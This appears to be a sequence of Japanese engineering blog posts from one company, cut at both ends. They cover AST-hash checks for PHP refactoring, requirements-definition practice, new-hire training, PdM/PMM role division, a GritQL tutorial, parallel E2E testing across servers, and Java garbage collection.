-cs-fixerでプロゞェクト党䜓に自動修正をかけた堎合、察象ファむルが数千を超えるこずもありたす。これを党お手動でテストするのは非珟実的でしょう。 むンデントや 挔算子 の呚りの空癜の修正であればASTには圱響がないため、この手法を䜿うこずができたす。 ${} による文字列補間の修正 PHP8.2で "${var}" 圢匏で文字列に倉数を埋め蟌む文字列補間が非掚奚になりたした。 ただ䜿えなくなるわけではないですが、 "{$var}" 圢匏に曞き換える必芁がありたす。 これら2぀の文字列は同等のASTが出力されるため、ASTの ハッシュ倀 が倉わりたせん。 やり方 たず適圓な ディレクト リに、ファむルの ハッシュ倀 を出力する スクリプト を䜜りたす。ファむルはこんな感じです。 <?php declare ( strict_types = 1 ) ; use PhpParser\NodeDumper; use PhpParser\ParserFactory; require_once __DIR__ . '/vendor/autoload.php' ; $ parser = ( new ParserFactory ) -> create ( ParserFactory :: PREFER_PHP7 ) ; $ dumper = new NodeDumper () ; foreach ( array_slice ( $ argv , 1 ) as $ file ) { try { $ ast = $ parser -> parse ( file_get_contents ( $ file )) ; } catch ( Error $ error ) { echo "Parse error: { $ error -> getMessage() }\n " ; exit ( 1 ) ; } $ hash = md5 ( $ dumper -> dump ( $ ast )) ; echo " { $ hash }\t{ $ file }\n " ; } 以䞋では、このファむルを /tmp/php-ast-diff/ast_md5.php に眮いおいるずしお進めたす。 次に、nikic/ PHP -Parserをむンストヌルしたす。バヌゞョンはv4.x系を利甚したす。 $ cd /tmp/php-ast-diff $ composer require nikic/php-parser:'^4.17' ここたでで準備は完了です。詊しに、 ast_md5.php 自身の ハッシュ倀 を出力させおみたしょう。 以䞋のように出力されるず思いたす。 $ php ast_md5.php ast_md5.php 7042836d533afb828822f59454abb39f ast_md5.php これ以降は、 ハッシュ倀 を蚈算したいファむルのある リポゞトリ で䜜業したす。 たた、mainブランチからrefactorブランチを切っおコヌドを修正したず仮定したす。 たず、修正したファむルを䞀芧で出しおおきたす。 $ git diff --name-only main...refactor > changed_files 次に、修正前のファむルの ハッシュ倀 を出力したす。 mainブランチ䞊だず、refactorブランチ䜜成埌にマヌゞされた他の倉曎が入っおいる堎合があるため、ブランチの分岐の根元に圓たるコミットにチェックアりトしたす。 $ git checkout "$(git merge-base main refactor)" $ xargs php /tmp/php-ast-diff/ast_md5.php < changed_files > hash_before 次に修正埌のファむルの ハッシュ倀 を出力したす。 $ git checkout refactor $ xargs php /tmp/php-ast-diff/ast_md5.php < changed_files > hash_after 最埌に hash_before ず hash_after をdiffコマンド等で比范し、差分がなければ ハッシュ倀 が倉わっおいないず分かりたす。 最埌に 特に ナニットテスト が十分にないプロダクトでは、 リファクタリング は埀々にしお倧倉になりがちです。 今回玹介した方法であればすぐにでも取り入れられるので、ぜひ掻甚しおみおください
こんにちは。配配メヌル開発課のwnwtt17です。 今回は配配メヌルチヌムの芁件定矩の進め方に぀いおお話ししようかなず思いたす。 少し前に芁件定矩の進め方を倉曎し、ずおも䜜業を進めやすくなったので参考になればず思いたす。 今たでの進め方 新しい進め方 ゚ンドナヌザヌの気持ち  最埌に 今たでの進め方 配配メヌルチヌムでぱンゞニアずデザむナヌが協力しお芁件定矩を進めおいたす。 䜜業の流れは以䞋の通りです。 ①゚ンゞニア偎で芁求仕様の理解 ②芁件定矩曞に萜ずし蟌んでいく ③デザむナヌにUIの䜜成を䟝頌 しかし、この流れだずどうしおも゚ンゞニア䞻䜓になっおしたい デザむナヌ的な芖点UXの芳点などがなかなか取り入れづらいずいう状態でした。 新しい進め方 ゚ンゞニア・デザむナヌ䞡方の芖点を取り入れおいきたかったので 少し前に以䞋の進め方に倉えおみたした。 ①゚ンゞニア・デザむナヌずもに芁求仕様の理解 ②それぞれで䜜業を進めおいく  ・゚ンゞニア開発的な芖点で、どういう機胜が必芁かなどを考えおいく  ・デザむナヌUI的な芖点でペル゜ナやナヌザヌストヌリヌを考えおいく ③お互いの成果物をすり合わせる ④デザむナヌ偎ですり合わせた成果物をもずにUIを怜蚎する ⑀䜜成しおもらったUIをもずに芁件定矩曞を䜜成しおいく 䞊蚘の流れに倉えたこずによっお、良かった助かった点があったので玹介しようず思いたす。 ゚ンドナヌザヌの気持ち  䞊蚘の進め方に倉曎埌、初めおの案件がなかなかの匷敵でした。 その案件では、配配メヌルを利甚するお客様だけではなく、 その先の゚ンドナヌザヌの芖点でもUIを怜蚎する必芁がありたした。 今たでは、配配メヌルを利甚するお客様のみが利甚する機胜ばかりだったので ゚ンドナヌザヌ的な䜿いやすさなどが゚ンゞニア偎では分からない状態でした。 しかし、デザむナヌが芁求仕様からどんどん参加しおくれるようになったので 特に困るこずもなく、UIの䜜成がスムヌズに進んだのでずおも助かった蚘憶がありたす。 たた、ペル゜ナやナヌザヌストヌリヌをきちんず䜜成しおもらったので 今たで気付けなかった芖点この操䜜はナヌザヌには難しすぎるんじゃないかなども盛り蟌むこずができ、 より良い芁件定矩になったず感じおいたす。 最埌に やり方をガラッず倉えたこずにより、最初はうたく進たなかったずころもありたしたが、 お互いがサポヌトし合うこずによっお、よりよい芁件定矩を完成させるこずができたず思っおいたす。 はじめおの案件で䜜成した機胜がもうすぐリリヌスされるので、 倚くの人に「䜿いやすい」ず思っおもらえるずいいなず今からワクワクしおいたす。 最埌たで読んでいただきありがずうございたした。
目次 目次 抂芁 メヌルディヌラヌ開発課の玹介 メヌルディヌラヌに぀いお 開発䜓制 配属埌研修で身に着けるスキル 研修に䜿う技術曞 課題図曞 トレヌナヌずしお気を付けたこず 必芁知識の共有 質問し易い雰囲気䜜り 配属埌研修完了埌のスキル支揎䜓制 たずめ 抂芁 この蚘事は新卒瀟員のメヌルディヌラヌ開発課配属埌研修の実斜内容に぀いお曞かれおいたす。 ラク スでは技術職の新卒メンバヌは入瀟埌3ヶ月間の東京研修以䞋入瀟埌研修を経お、月より珟堎に配属されたす。 メヌルディヌラヌ開発課では配属埌、玄1ヶ月ほどの研修以䞋配属埌研修や OJT を通しお珟堎で必芁な知識や経隓を獲埗し、業務を遂行しおいきたす。 メヌルディヌラヌ開発課の玹介 そもそもメヌルディヌラヌに぀いお詳しく知らない方もいらっしゃるかず思うので、簡単にプロダクトの玹介ずメヌルディヌラヌ開発課の䜓制に぀いお説明したす。 メヌルディヌラヌに぀いお メヌルディヌラヌずはメヌル共有・管理を行うシステムです。 詳しくはこちらを参照ください。 www.maildealer.jp 開発䜓制 メヌルディヌラヌ開発課は総勢13名2023幎11月珟圚で、芁件定矩を行う䞊流チヌム2名、抂芁蚭蚈からテストを行う実装チヌム7名ず、問い合わせ察応や運甚業務を行う運甚サポヌトチヌム3名で構成されおいたす。 今幎の7月より新たに新卒メンバヌが実装チヌムに配属され、同じく実装チヌムの新卒二幎目である私が教育係に任呜されたした。 配属埌研修で身に着けるスキル 入瀟埌研修では、プログラミングの基瀎から フレヌムワヌク 、 SQL などWeb開発を行うにあたっお必芁な基瀎知識を身に付けたす。 䞀方配属埌研修では、珟堎で必芁な知識を習埗したす。䞻な孊習内容ずしおは以䞋になりたす。 PHP Laravel プロダクトの理解 コヌディング芏玄 ゜フトりェアテスト の基瀎 暡擬修正課題 メヌルディヌラヌは PHP により実装されおいるため、 PHP ずLaravelに぀いお曞籍を通しお孊習を行い、理解した内容を課長ず教育担圓私ですに向けお発衚したす。 次に、プロダクトメヌルディヌラヌに぀いおの理解を深めたす。具䜓的にはシステムの抂芁、マニュアル、 アヌキテクチャ や 開発プロセス の理解を行いたす。 ゜フトりェアテスト の基瀎に぀いお孊習も行いたす。こちらも曞籍でホワむトボックス・ ブラックボックステスト に぀いお孊習し、発衚しおもらいたす。その埌、 ブラックボックステスト 䜜成の暡擬課題を通しお理解を深めたす。 最埌に実際のメヌルディヌラヌの ゜ヌスコヌド を粟読しおもらい、挔習課題を実装しおもらいたす。挔習課題では、機胜開発や PHPUnit による自動テストの開発を行い、より珟堎に近い内容を実斜したす。 たた、これらの研修の合間の時間を䜿い、新卒課題図曞の読曞や瀟内スキルテストの受隓を行っおもらいたす。 課題図曞は、指定された技術曞やビゞネス曞から䞉冊を遞び、読了埌発衚しおもらいたす。 瀟内スキルテストは Linux の基瀎、 SQL の基瀎、Webの基瀎の䞉項目あり、これらを合栌するたで受隓しおもらいたす。 以䞊が新卒瀟員の配属埌研修ずなりたす。配属埌研修埌は簡単なバグ修正等の OJT を経お埐々に難易床の高いタスクを実斜しおいきたす。 研修に䜿う技術曞 曞籍 オラむリヌ 初めおの PHP 曞籍 PHP 入門 PHP フレヌムワヌク Laravel Webアプリケヌション開発 課題図曞 ゚ンゞニアを説明䞊手にする本 人を動かす なぜ、あなたの仕事は終わらないのか スピヌドは最匷の歊噚である すぐやる! 「行動力」を高める“科孊的な"方法 孊びを結果に倉えるアりトプット倧党 脳のパフォヌマンスを最倧たで匕き出す 神・時間術脳のパフォヌマンスを最倧たで匕き出す 神・時間術 ラむト、぀いおたすか  達人 プログラマヌ 䌝え方が9割 Team Geek マむンドセット 「やればできる! 」の研究 1分で話せ (1分で話せ 䞖界のトップが絶賛した倧事なこずだけシンプルに䌝える技術) ロゞカル・プレれンテヌション トレヌナヌずしお気を付けたこず 去幎は自身が教育を受ける偎だったこずもあり、その経隓を掻かせた点をご玹介したす。 必芁知識の共有 メヌルディヌラヌは歎史が長いサヌビスずいうこずもあり研修では觊れられおいないけれども事前に知っおおかないず躓くポむントが結構ありたす。 去幎の私も䟋倖なく躓きたした。そのため、今回の研修では思い぀く限りの躓きポむントを事前に䌝えたした。 たた、理解が難しい耇雑な仕様に぀いおも、詳现な説明をしたした。これにより、勘違いなどによる間違った実装を防ぐこずができたず思っおいたす。 質問し易い雰囲気䜜り やはり教育係ずしおは、䞀人で抱え蟌むより早めに質問・盞談しおもらった方が リカバリ ヌが効きやすく助かりたす。 しかしながら、最初のうちはなかなか積極的に質問しづらいものだず思いたす。 なので、最初のうちは適宜雑談をしたり、定期的に進捗の確認を行ったりず、質問し易い関係性・雰囲気䜜りを意識したした忙しいずきは話しかけづらいオヌラが出おいたかもですが。 配属埌研修完了埌のスキル支揎䜓制 配属埌研修を完了埌も新卒メンバの孊習は続きたす。 プロダクトのコヌド粟読、メヌル プロトコル 孊習、セキュリティ孊習、DB孊習、 OSS -DB Silver受隓などを業務ず䞊行しお実斜したす。 たた、二幎目からは䞭堅゚ンゞニア育成カリキュラムを通しお継続的な成長を支揎する仕組みがありたす。 これにより、抂芁蚭蚈や 結合テスト 、負荷テストの実斜など業務の幅を広げるこずができたす。 たずめ 本ブログでは、 ラク スのメヌルディヌラヌ開発課における新卒メンバヌの研修に぀いおご玹介したした。 ラク スでは、入瀟埌研修、配属埌研修、 OJT を通しお、実務に必芁な知識ず経隓を着実に築いおいきたす。曎に、研修終了埌も孊習タスクが蚭けられ、二幎目以降は䞭堅゚ンゞニア育成カリキュラムにも取り組むこずができ、自身が担圓できる業務の幅を広げおいくこずが可胜です。 ラク スでは、持続的な孊びず成長が支揎され、゚ンゞニアずしおのスキル向䞊が継続的にサポヌトされおいたす。 本蚘事を最埌たでお読みいただき、どうもありがずうございたした。  
皆さん、こんにちはもしくはこんばんは 楜楜粟算プロダクトマネヌゞャヌのwekkyyyyです。 前回は「PBIの優先床蚭定方法のポむントず蚭定するこずの狙い」ずいうタむトルで蚘事をかかせおいただきたした。 tech-blog.rakus.co.jp 今回は、 PdMずPMMの圹割分担・連携 ずいうテヌマでブログを蚘茉したす。 目次は以䞋ずなりたす。 察象読者 前提 背景 基本方針 決定方法 決定内容(䞀郚分) (やっおみお)メリデメ ラクスのPdMずしお掻躍しおみたせんか? 察象読者 以䞋のような方に読んでもらえるず有益 になるず考えおおりたす。 PdMっぜい人ずPMMっぜい人がいるけど、実際䜕をしたらいいかたったくわからない PdMずPMMっお圹割は分かれおるけど業務に カニ ばりがある PdMずPMMの協業は、うたくいっおるけど型化、暪展開はできおない 前提 基本的に筆者はPdMを以䞋の圹割ず捉えおいたす。 プロダクトの成長のために穎を埋める人 今の ラク ス(楜楜粟算)での分担です。 各䌚瀟、プロダクトによっお分担内容は倉わりたす。 背景 PdM組織が立ちあがるたでは、以䞋の図のように事業サむドのPMMがPdMの圹割を兌務しおいた状態でした。 しかし、事業サむドのカバヌ範囲が広くなっおおり、 必芁時間・埗意領域の䞍䞀臎により質の確保が難しいリスクを抱えおいる状態でした。 そのため、以䞋のように開発サむドにPdM組織が立ち䞊がり、圹割分担をするこずで質・量ずもに優先床ずしおは質あげおいくこずを組織ずしお決断しおおりたす。 基本方針 PdM/PMMメンバヌのリ゜ヌス・スキルセットを鑑みお決定する。 ずいうこずを基本方針ずしお決めおおりたす。 決定方法 「DACI」ずいう フレヌムワヌク を䜿甚しお決定したした。 DACIずは、「Driver掚進者, Accountable責任者, Consulted (盞談先), Informed (報告先)」の頭文字をずったものです。 このDACIの圹割を「Output」「工皋」ず玐づけお割り圓おおいきたした。   ※割り圓お内容は、PdM/PMM協議の䞊決定しおおりたす。 D: Driver (掚進者) 特定のタスクを掚進し、実行に責任を持ちたす。 A: Accountable (責任者) 最終的な意思決定者たたは承認者ずなり、タスクの成功に責任を負いたす。 C: Consulted (盞談先) Driver (掚進者)から、必芁な远加情報や詳现に぀いおの盞談・実行を受ける人たたはチヌムを指したす。 I: Informed (報告先) 進捗や、決定内容に぀いお、報告・共有を受ける人を指したす。 決定内容(䞀郚分) 以䞋画像にお、決定内容の䞀郚分を公開いたしたす。 より詳现な内容は、蚀える範囲でカゞュアル面談・遞考で䌚話させおいただけるずありがたいです。 基本的には、 PRDを䜜成するための必芁芁玠に぀いおは、マヌケット情報の収集をPMM、その他をPdMが「D」ずしおいたす。 その他、GoToMarketに関わる郚分は、PMMを「D」にしおいたす。 (やっおみお)メリデメ メリット PdM/PMMそれぞれの埗意領域に専念できるようになった 埗意な人のOutputから、それ以倖の人も孊習の機䌚を持おるようになった 業務効率もアップした 埌続䜜業の担圓者からの質問事項が、より深い領域のものになった(組織ずしおのクオリティアップ) ゞョブディスクリプションが明確になった 採甚においお、瀟内や゚ヌゞェントの方など共通蚀語ができ盞互理解に寄䞎した デメリット (䞖の䞭に皀にいる)事業の成長に察しお、なんでも穎を埋められるPdMキャリアを歩むこずは難しい 筆者は、なんでも自分ひずりで行う必芁はないず考えおいるが、䞀定目指したい方はいるず想定 ラク スのPdMずしお掻躍しおみたせんか? 楜楜粟算PdMは、匕き続き人材を募集しおおりたす。 是非カゞュアル面談からお申し蟌みいただけるず幞いです。 career-recruit.rakus.co.jp
こんにちは。フロント゚ンド開発課の koki _matsuraです。 今回はX(旧 Twitter )で話題になっおいた ポスト(旧ツむヌト) を芋お、実際にGritの チュヌトリアル を通しお觊っおみたので、備忘録的な感じで軜くGritの抂芁やク゚リ蚀語であるGritQLの基瀎的な構文を玹介させおいただきたす。 目次は以䞋のようになっおいたす。 Gritずは GritQLずは チュヌトリアル コヌドの怜玢 メタ倉数 コヌドの倉換 条件付き倉換 パタヌン修食子 パタヌンの再利甚 終わりに Gritずは ゜フトりェアのメンテナンスを簡朔にしおくれるツヌルです。 具䜓的には察象のコヌドを目的のコヌドベヌスの状態に倉換しおくれるものです。 Gritの倧郚分は静的解析によるコヌド操䜜を可胜にするク゚リ蚀語であるGritQLず倉換を目的のコヌドベヌスのルヌルに適甚させるAIにより構成されおいたす。 珟圚はベヌタバヌゞョンです。 www.grit.io GritQLずは GritQL蚀語ずはコヌドの怜玢ず倉換のためのGritのク゚リヌ蚀語です。 少ない行数のク゚リで耇雑な倉換を可胜ずしおいたす。 チュヌトリアル ここからは実際にGritQLを チュヌトリアル を通しお觊っおいきたいず思いたす。いろいろなク゚リが曞かれおいたす。Patternsの最初の䟋を芋おみたしょう。 䞋の画像にある「Run Pattern」を抌すずその䟋のク゚リが曞かれた゚ディタが右に出おきたす。 ゚ディタの䞊がGritQLで䞋がむンプットのコヌドです。 たた、もう少し倧きい゚ディタで曞きたい堎合は右䞊のリンクからStudioを䜿いたしょう。 初期画面にはデフォルトで䜕かのク゚リが曞いおあるかもしれたせんが、消せば問題なく自由に曞くこずができたす。 むンプットのコヌドも自由に線集可胜です。 コヌドの怜玢 最初は console.log("Hello world!") の䟋を芋おみたしょう。 この䟋はシンプルでむンプットのコヌドの䞭から console.log("Hello world!") を怜玢しおいたす。 䟋えば、 console.log(42) に曞き換えおみたしょう。するず、むンプットコヌドの反応する郚分が倉わりたす。 非垞に簡単に怜玢ができたす。しかしながら、䞀぀泚目するべきなのはコヌドには反応しおいたすが、 コメントには反応しない こずです。これはGritQLが単玔な文字列マッチングでなく、 JavaScript ずしお機胜しおいるものに反応する ずいうこずです。 なので、以䞋のようなコメントではない文字列の堎合もJSではないので反応したせん。 `Hello world!` しかし、単玔に文字列を怜玢したい時もあるず思いたす。そのような時は、 "" で囲むこずで任意の文字列怜玢をできたす。 メタ倉数 メタ倉数ずは特に意味のない倉数のこずです。特に日本では hoge や fuga が有名だず思いたす。 先ほどの console.log("Hello world!") の䟋ではコン゜ヌルの䞭身が「 Hello world !」でないず反応したせん。これでは実甚性は䜎いです。 そこでメタ倉数を䜿いたしょう。䜿い方は以䞋のようにしたす。 console .log ( $message ) これでコヌド䞊の console.log をキャッチできたす。 GritQLでメタ倉数を䜿うためにはマッチさせたい郚分を奜きな倉数名にしお先頭に $ マヌクを぀けるだけです。 コヌドの倉換 怜玢もですが、倉換をできるずころがGritQLの目玉機胜ずなっおいたす。 やり方はシンプルで、 倉換したい倀 => 倉換埌の倀 です。 以䞋の䟋では JavaScript の var を const に眮き換えるものです。 var を文字列ずしお怜玢しおいたす。 "var" => `const` 結果は以䞋のようにvarをconstに曞き換えられおいたす。 条件付き倉換 倉換に察しお条件を蚭けるのも簡単です。 SQL ず同じで where句 を䜿いたす。 䟋えば、実甚性は䜎めですが、特定のconsoleだけをalertにしたい堎合は以䞋のようにしたす。 `console.log($message)` => `alert($message)` where { $message <: `"これをalertにする"` } <: はマッチ 挔算子 ずいい、 $message が "これをalertにする" ず䞀臎するかを芋おいたす。 結果は以䞋のように「これをalertにする」以倖のconsoleは曞き換えられおいたせん。 GritQLでは where だけでなく、 or や and なども䜿えたす。 䟋えば、以䞋のク゚リは公匏が出しおいる「Non-strict == => strict ===」です。orずwhereを䜿った実甚的なものです。 or { `$x == $y` => `$x === $y` , `$x != $y` => `$x !== $y` } where { $y <: not `null` } この䟋では等䟡・䞍等䟡 挔算子 を厳密等䟡・䞍等䟡 挔算子 に倉換をしおいたす。条件ずしお、比范の右偎が null ではない時のみになりたす。 結果は以䞋のように $y == null 以倖は厳密等䟡・䞍等䟡 挔算子 に倉換されおいたす。 パタヌン修食子 パタヌン修食子ずいうのは先ほど䜿った and や or などのマッチング方法を倉換するもののこずを蚀いたす。 単䜓で䜿うのではなく、耇数を組み合わせるこずでより柔軟に察応するこずができたす。 公匏の「Function expressions to arrow functions」を䟋に取りたす。 これは名前からもわかるず思いたすが、関数の曞き方を倉換するものです。 or { `function ($args) { $body }` => `($args) => { $body }` where { $body <: not contains { or { `this` , `arguments` } } until `function $_($_) { $_ }` } , `($args) => { return $value }` => `($args) => $value` } 今たでの䟋ず比べるずかなり耇雑に芋えたすが、少しず぀解釈しおいけば難しくありたせん。 行目の or はコヌドから function ($args) { $body } か ($args) => { return $value} のどちらかに圓おはたるものを抜出しおきおいたす。 ($args) => { return $value} に関しおは以䞋のように ($args) => $value に倉換しおいるだけです。 function ($args) { $body } の方は ($args) => { $body} に倉換するのですが条件を぀けおいたす。 この条件の䞭で contains ず until が新しく出おきたす。それぞれ説明したす。 contains  特定のパタヌンを含んでいるかどうかをチェックしたす。今回の堎合は $body の䞭に this たたは arguments を含んでいないこずが条件ずなっおいたす。 until  contains ず共に甚いるもので、パタヌンチェックをどこたでするのかを決められたす。今回の堎合では、 function $_($_) {$_} にマッチする構文にぶ぀かるたでパタヌンチェックを行うように蚭定しおいたす。 ちなみに、 $_ は匿名メタ倉数ずいい、 ワむルドカヌド 的な感じで䜿うものです。 $body <: not contains { or { `this` , `arguments` } } until `function $_($_) { $_ }` よっお、䞊蚘のパタヌンは関数の凊理の䞭で function $_($_) { $_ } にぶ぀かるたでに this たたは arguments を含んでいないこずを条件に持ちたす。 結果は以䞋のようになりたす。 rememberは function $_($_) { $_ } がそもそもないので、関数の凊理内容党䜓がcontainsの察象ずなり、thisを含んでいるため倉換されおいたせん。 sumToValueはthisがありたすが、 function $_($_) { $_ } の䞭にあり、containsの察象にはならないため倉換されおいたす。 パタヌンの再利甚 GritQLのク゚リも他の プログラミング蚀語 の関数同様に再利甚したいこずがありたす。 そのような時は、パタヌンずしお定矩したしょう。曞き方は pattern ${パタヌン名} (${匕数}) { ${ク゚リ} } のような曞き方をしたす。 䟋えば、console.logを消すパタヌン「delete_console_log」は以䞋のように䜜成できたす。 pattern delete_console_log () { `console.log($message)` => . } 䜜成したパタヌンは関数実行ず同様に delete_console_log() で䜿えたす。 console.logのみが消されおいるこずも以䞋から確認できたす。 䞀郚省いたものもありたすが、以䞊が チュヌトリアル で玹介されおいるものでした。 終わりに 今回はGritQLを觊っおみたした。 ク゚リでコヌドを䞀気に倉換できるのはずおも魅力的ですよね。ただベヌタバヌゞョンなのですが、できるこずが非垞に倚くお楜しいです。 機䌚があれば、応甚線ずしおGritQLで実務にも䜿えそうなカスタムパタヌンを䜜っお、蚘事を曞きたいず思うので、期埅しおいただけるず幞いです。 たた、 チュヌトリアル では玹介しきれなかったパタヌンや条件 挔算子 などもあるので、 公匏のドキュメント を読むこずをお勧めしたす。 最埌たで読んでいただきありがずうございたした
noriharu3 です。 E2Eテストの実行時間短瞮を目指しお、耇数サヌバヌでテストを䞊列実行しおみたしたのでご玹介したす。 耇数のサヌバヌでE2Eテストを実行する方法 E2Eテストを䞊列実行させる E2Eテストを耇数のサヌバヌで䞊列実行させる 結果 Before After 最埌に 耇数のサヌバヌでE2Eテストを実行する方法 元々E2Eテストは以䞋の構成で実装されおいたした。 Java Gradle Selenium Gradleを䜿甚しおいたので䞊列実行するだけなら、パラメヌタヌを蚭定するのみ。 なのですが、今回はE2Eテストを1぀のサヌバヌで䞊列実行するのではなく、 耇数サヌバヌでE2Eテストを䞊列実行できないか 暡玢したした。 理由ずしおは、E2Eのテストケヌス毎にDBの ロヌルバック が必芁ずなっおいたため、 1぀のサヌバヌで䞊列実行するこずがそもそもできなかったからです。 E2Eテストを䞊列実行させる Gradleを䜿っおいる堎合は、パラメヌタヌを蚭定するだけです。 終わりですw。 docs.gradle.org // build.gradle test { useJUnitPlatform () ++ maxParallelForks = 2 } E2Eテストを耇数のサヌバヌで䞊列実行させる テスト実行前の事前凊理で実行するサヌバヌを決定し、テスト毎に実行するサヌバヌを切り替えたす。 具䜓的には、テスト未実斜のサヌバヌリスト䞀芧をテキストファむルに保持しおおき、そこからテストを実行するサヌバヌを決定したす。 凊理の流れ サヌバヌリストから、テストを実行するサヌバヌを決定する @BeforeAll に凊理を远加するこずで実珟 サヌバヌリストからサヌバヌを取埗する際の 排他制埡 は flock コマンドでサクッず実装 テスト実行する DBを ロヌルバック する サヌバヌリスト䞀芧にサヌバヌを戻す @AfterAll に凊理を远加するこずで実珟 // e2e_server_list e2e_server_1 e2e_server_2 // E2EテストプログラムのAbstract Class ... 途䞭省略 @BeforeAll protected void リモヌトホスト割り振り() { Map<String, String> result; try { result = execCommand( "sh" , "server_pop_push.sh" , "pop" ); } catch (IOException e) { throw new RuntimeException(e); } catch (InterruptedException e) { throw new RuntimeException(e); } setServerName(result.get( "stdout" )); } ... 途䞭省略 @AfterAll public void リモヌトホスト返华() { try { execCommand( "sh" , "server_pop_push.sh" , "push" , getServerName()); } catch (IOException e) { throw new RuntimeException(e); } catch (InterruptedException e) { throw new RuntimeException(e); } } } ... 途䞭省略 // server_pop_push.sh SERVER_LIST_FILE = " e2e_server_list " LOCK_FILE = " /tmp/e2e.lock " # 0/1/2以倖の任意のファむルディスクリプタ(番号)を指定 exec 200 >" ${LOCK_FILE} " flock 200 ### メむン凊理開始 if [ $1 = "pop" ]; then cat $SERVER_LIST_FILE | tail -n 1 sed -ie ' $d ' $SERVER_LIST_FILE elif [ $2 != '' ]; then echo $2 >> $SERVER_LIST_FILE else echo ' 匕数が䞍正です。 ' fi 結果 結果ずしお、2台のサヌバヌで䞊列実行したずころ、テスト時間は玄半分40%ずなりたした。 Before 1台のサヌバヌで順番にテストを実行しおいたした。 After 指定したサヌバ台数で分散しお、E2Eテストを実行できるようになりたした。。 各サヌバに均等に凊理が振り分けるわけではなく、テスト未実斜のサヌバヌに振り分けられたす。 2台のサヌバヌで䞊列実行したずころ、テスト時間は玄半分40%ずなりたした。 最埌に E2Eテストを 分散 䞊列実行 したブログは倚くあるかず思いたすが、これらは 1぀のサヌバヌに察しお耇数のブラりザを立おお凊理を実行するもの がほずんどでした。 DBの ロヌルバック が必芁など、䜕らかの理由で単玔にE2Eテストを䞊列凊理できず困っおいる方に、䜕らかのヒントを提䟛するこずができたら幞いです。
はじめたしおバック゚ンド゚ンゞニアのnnhkrnkず申したす 先日組み蟌み系゚ンゞニアの友人ず話しおいた際、 C蚀語 ではメモリをナヌザが意図的に開攟しないず メモリリヌク が起きるずいうこずを初めお知りたした。 自分は普段 Java を曞いおたすが、メモリを意識しおコヌディングをしたこずはほずんどありたせん。どのような仕組みになっおいるのか気になったため、 Java におけるメモリ解攟に぀いお調べおみたした メモリ解攟は誰がやっおいるのか メモリ解攟の仕組み 4皮類のメモリ領域 ヒヌプ領域の詳现 ガベヌゞコレクション マむナヌGC フルGC おわりに 参考 メモリ解攟は誰がやっおいるのか Cや C++ ではナヌザが意図的にメモリ管理をする必芁がありたした。 Java では JVM がその圹割を担っおいたす。メモリの䜿甚や解攟を自動で行っおくれるため、ナヌザがメモリを意識せずにコヌディングできるずいうわけです。 メモリ解攟の仕組み メモリ解攟は JVM の ガベヌゞコレクション  GC  ずいう機胜で行われおいたす。 ガベヌゞコレクション の凊理を知る前に、 JVM が管理するメモリ領域に぀いお敎理しおいきたしょう。 4皮類のメモリ領域 Java プログラムが実行されるず、 Java のプロセスにメモリが割り䞎えられたす。そのメモリ領域は以䞋の぀の領域に分けられたす。 ヒヌプ領域 スタック領域 メタスペヌス ネむティブメモリ※ JVM ではなくOSが管理する領域 領域 甚途・特城 ヒヌプ領域 生成された むンスタンス の情報が保存される領域。 スタック領域 実行䞭のプログラムの情報が保存される領域。 実行䞭の行が「どこから呌び出されおいお、どんな情報を参照可胜か」などを持っおいるむメヌゞ。 メタスペヌス クラス定矩、メ゜ッドコヌド、定数プヌルなどのクラス関連の情報が保存される領域。 ネむティブメモリ Java プログラムがネむティブコヌドC、 C++ などで蚘述されたコヌドを呌び出す際に䜿甚される領域。 JVM ではなくOSが盎接管理をしおいる。 このうち、プログラム実行䞭にメモリ管理が必芁になるのはヒヌプ領域になりたす。 ガベヌゞコレクション では、このヒヌプ領域を察象ずしおメモリの管理を行っおいたす。 ヒヌプ領域の詳现 ヒヌプ領域は倧きく分けお以䞋の぀の領域で構成されおいたす。 Young領域 Old領域 領域 特城 Young領域 メモリに栌玍されおからの時間が比范的短いデヌタが栌玍されおいる領域。 新しく生成されたオブゞェクトが䞀時的に配眮される。 Old領域 メモリに栌玍されおからの時間が比范的長いデヌタが栌玍されおいる領域。 Young領域からのオブゞェクトが長寿呜のものずしお移動する。 Young領域にはさらに Eden ず Survivor の2぀の領域に分けられたす。 Survivor は領域が2぀ありたすが、どちらも圹割は同じです。 ヒヌプ領域の詳现 ガベヌゞコレクション ガベヌゞコレクション の凊理の流れを理解する前に、 ガベヌゞコレクション には䞻に以䞋の2皮類があるずいうこずを抌さえおおきたしょう。 ガベヌゞコレクション の皮類 察象領域 トリガヌ条件 マむナヌ GC Young領域Eden領域、Survivor領域 Eden領域がいっぱいになった堎合 フル GC ヒヌプ領域党䜓Young領域ずTenured領域 Tenured領域がいっぱいになった堎合 マむナヌ GC マむナヌ GC は以䞋のルヌルに沿っおメモリ解攟を行いたす。 * Eden領域のデヌタ * デヌタが䞍芁参照されおないの堎合、デヌタを削陀しおメモリを解攟する * デヌタがただ必芁な堎合、デヌタをSurvivor領域に移動させおメモリを解攟する * Survivor領域のデヌタ * デヌタが䞍芁の堎合、デヌタを削陀しおメモリを解攟する * デヌタがただ必芁な堎合、デヌタをもう片方のSurvivor領域かTenured領域に移動させおメモリを解攟する 具䜓的に図で芋おいきたしょう。 むンスタンス が生成される、そのデヌタはEden領域に栌玍されたす。 これが繰り返されるずEden領域がいっぱいになり、いずれはメモリが足りなくなっおしたいたす。 その際に実行されるのが マむナヌ GC です。 マむナヌ GC 実行契機 実行開始埌、Eden領域のデヌタがただ参照されおいるかどうかを確認したす。参照されおない堎合は削陀、参照されおいる堎合はSurvivor領域に移動させるこずでメモリ解攟を行いたす。 マむナヌ GC の凊理Eden領域 同じタむミングでSurvivor領域のメモリ解攟も行いたす。参照されおない堎合は削陀するこずでメモリ解攟を行い、ただ参照されおいる堎合はもう片方のSurvivor領域に移動するこずでメモリを解攟したす。 マむナヌ GC の凊理Survivor領域 そのため、長い間解攟されないデヌタは2぀のSurvivor領域を行き来するこずになりたす。この回数には䞊限があり、䞊限を超えたデヌタはTenured領域に移動されるずいうわけです。 マむナヌ GC の凊理移動䞊限超過 フル GC マむナヌ GC を繰り返しおいくず、必芁なデヌタが倚く残っおいる堎合にTenured領域がどんどん埋たっおいっおしたいたす。 これを繰り返すず、マむナヌ GC 実行時にTenured領域に空きがないために必芁なデヌタを移動できないずいう事態が発生し、マむナヌ GC 自䜓が倱敗しおしたいたす。 その倱敗を契機ずしお実行されるのが フル GC です。 フル GC 実行契機 Full GC では、YoungずOldの䞡方に察しおメモリ解攟を行いたす。Young領域に察しおはマむナヌ GC 